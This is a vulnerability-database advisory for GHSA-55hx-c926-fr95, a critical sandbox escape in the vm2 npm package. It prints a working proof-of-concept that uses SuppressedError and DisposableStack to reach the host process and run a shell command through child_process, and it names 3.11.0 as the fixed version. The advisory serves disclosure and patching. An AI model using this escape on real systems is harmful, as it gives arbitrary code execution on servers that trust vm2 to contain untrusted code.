VDB
EN
CRITICAL 9.8

GHSA-55hx-c926-fr95

VM2 Has a Sandbox Escape Issue via SuppressedError

상세

In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code.

### PoC ```js const { VM } = require("vm2");

const vm = new VM();

vm.run(` const ds = new DisposableStack(); ds.defer(() => { throw null; }); ds.defer(() => { const e = Error(); e.name = Symbol(); e.stack; }); try { ds.dispose(); } catch(e) { const Function = e.suppressed.constructor.constructor; const process = new Function("return process;")(); const { execSync } = process.mainModule.require("node:child_process"); execSync("echo pwned", { stdio: "inherit" }); } `); ```

이 버전이 영향받나요?

사용 중인 패키지 버전을 입력하면 즉시 평가합니다.

영향 패키지

npm / vm2
최초 영향 버전: 0 수정 버전: 3.11.0
수정 npm install vm2@3.11.0

참고